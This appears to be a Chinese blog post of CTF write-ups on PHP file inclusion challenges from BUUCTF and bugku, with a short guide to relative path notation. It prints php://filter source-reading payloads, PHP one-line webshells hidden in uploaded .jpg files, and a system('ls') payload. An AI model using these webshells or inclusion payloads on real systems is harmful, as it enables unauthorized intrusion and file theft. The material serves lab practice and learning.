文件包含练习1

目录

【BUUCTF】- [ACTF2020 新生赛]Include1

【bugku】- 文件包含

【bugku】- 文件包含2

总结:路径


【BUUCTF】- [ACTF2020 新生赛]Include1

打开题目

点击

注意这里:?file=flag.php;可以联想到文件包含漏洞,然后我们就可以用php://filter协议来查看源文件内容; 

构造payload:

/?file=php://filter/read=convert.base64-encode/resource=flag.php

原理:php://filter 协议 

1,是格式
2,是可选参数,有read和write,字面意思就是读和写
3,是过滤器。主要有四种:字符串过滤器,转换过滤器,压缩过滤器,加密过滤器。filter里可以用一或多个过滤器(中间用|隔开),这也为解题提供了多种方法,灵活运用过滤器是解题的关键。这里的过滤器是把文件flag.php里的代码转换(convert)为base64编码(encode)
4,是必选参数,后面写你要处理的文件名
 

 

读出源码,进行base64解码得出flag 

举例:大写(转换)过滤器:string.toupper

?file=php://filter/read=string.toupper/resource=flag.php


大佬文章

【bugku】- 文件包含

打开场景


 

 点击

 

可以看出本题为文件包含index可以读取其他php文件。所以我们可以联想到读取index文件,但是直接读取index无法查看,所以就应该考虑用base64方法读取

index.php?file=php://filter/read=convert.base64-encode/resource=index.php

 得到base64编码,解码获得flag

【bugku】- 文件包含2

查看源代码

 进行访问

上传一句话木马的.jpg图片

<?php @eval($_POST[chopper]);?>

用了多种方式进行了尝试,没用

那就换一种木马

<script language=php>
@eval($_POST[v]);
</script>

使用蚁剑还是连接不上,那就使用文件包含的方式进行访问

http://114.67.246.176:12173/index.php?
file=upload/202109131252269214.jpg 

没用,再换

<script language=php>system("ls")</script> 

 查看目录,什么也发现不了。这题是不是换了。。。怎么跟别人wp写的都不一样

 直接去访问网站根目录下有没有flag

还真发现了

http://114.67.246.176:12173/index.php? file=/flag

因为网站存在文件包含漏洞,所以我们可以通过直接访问文件名,来获取文件内容。 

大佬文章

总结:路径

  • ./       :代表目前所在的目录。
  • …/    :代表上一层目录。
  • /       :代表根目录。

读取文件时,路径的写法有如下方式

1、文件在当前目录(以图像文件为例,当前项目文件为中心)

“./1.jpg” 或 “1.jpg”

2、文件在上层目录
(1)在上层目录下

".../1.jpg"

(2)在上层目录下的一个Image文件夹下

“…/Image/1.jpg”

 (3)在上上层目录下

“…/…/1.jpg”

3、文件在下一层目录(Image1文件夹)

“./Image1/1.jpg”

4、根目录表示法,任何页面访问Image下的Image.jpg图片

“C:/Image/1.jpg”

  • 4
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值